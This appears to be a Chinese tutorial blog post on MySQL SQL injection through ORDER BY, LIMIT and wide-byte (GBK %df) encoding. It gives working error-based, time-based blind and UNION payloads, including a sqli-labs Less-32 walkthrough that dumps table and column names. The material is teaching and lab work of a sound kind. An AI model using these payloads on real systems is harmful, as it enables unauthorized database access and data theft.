• 1.order by 注入 2.limit 注入 3.宽字节注入


    目录

    1.order by注入

    1.1 order by语法:

    1.2 order by 与报错注入

     原理:

    1.3  order by 盲注

    2.limit 注入

     2.1  在LIMIT后面可以跟两个函数

    3.宽字节注入

    3.1  宽字节注入原理

    3.2宽字节注入实例 sqli-labs:Less-32


    1.order by注入

    1.1 order by语法:

    1. select * from users order by id;
    2. //查询users表中所有记录以id字段排序(默认升序)
    3. select * from users order by id desc//降序

    1.2 order by 与报错注入

    获取数据库名称

    1. select * from users order by id
    2. and(updatexml(1,concat(0x7e,(select database()),0x7e),1));

     原理:

    1. updatexml(XML_document, XPath_string, new_value)
    2. XML_document是文档对象的名称
    3. XPath_string是XPath格式的字符串
    4. (如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值)
    5. new_value替换查找到的数据
    updatexml(1,concat(0x7e,payload),0x7e)

    concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误,也就是我们的输入的具体的字符串不合规范。

    那么哪些格式是不符合规范的,比如在字母数字前加入特殊字符如~*

    1.3  order by 盲注

    当页面并没有展示MYSQL的错误信息时,且只能根据页面的回显数据的状态进行判断时,可使用时间盲注。

     select * from users order by id,(select 1 from (select sleep(3))a);//时间盲注

     

    2.limit 注入

    LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。
    LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。
    如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

     select * from users order by id limit 5,3;//从第6条查询3

     2.1  在LIMIT后面可以跟两个函数

    PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。所以在Limit后面 可以用 procedure analyse()这个子查询

    1. select * from users order by id limit 0,1 procedure
    2. analyse(extractvalue(1,concat(version())));//在MySQL版本低于5.5才行

    3.宽字节注入

    3.1  宽字节注入原理

    • 当某字符的大小为一个字节时,称其字符为窄字节.

    • 当某字符的大小为两个字节时,称其字符为宽字节.

    • 所有英文默认占一个字节,汉字占两个字节

    • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

      如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用我们上面所介绍的几种函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。

    3.2宽字节注入实例 sqli-labs:Less-32

    可以看出 当输入  id=1' 页面直接提示把引号转义了 

    直接加上%df

     然后用union来联合查询

     爆表:

    ?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

     字段:

    1. ?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+

     

     

  • 相关阅读:
    [深度学习][预训练模型]darknet-yolov7预训练模型下载地址
    【跟小嘉学 Rust 编程】三十三、Rust的Web开发框架之一: Actix-Web的基础
    x86 --- 任务隔离特权级保护
    【硬件产品经理】汽车A样设计
    vue3源码分析——实现组件更新
    【图灵MySQL】深入理解MVCC与BufferPoll缓存机制
    工作总结:kafka踩过的坑
    TD集群内存占用过高
    Android 扩大View可点击区域范围
    Java校园跑腿小程序校园代买帮忙外卖源码社区外卖源码
  • 原文地址:https://blog.csdn.net/lin152235/article/details/126241733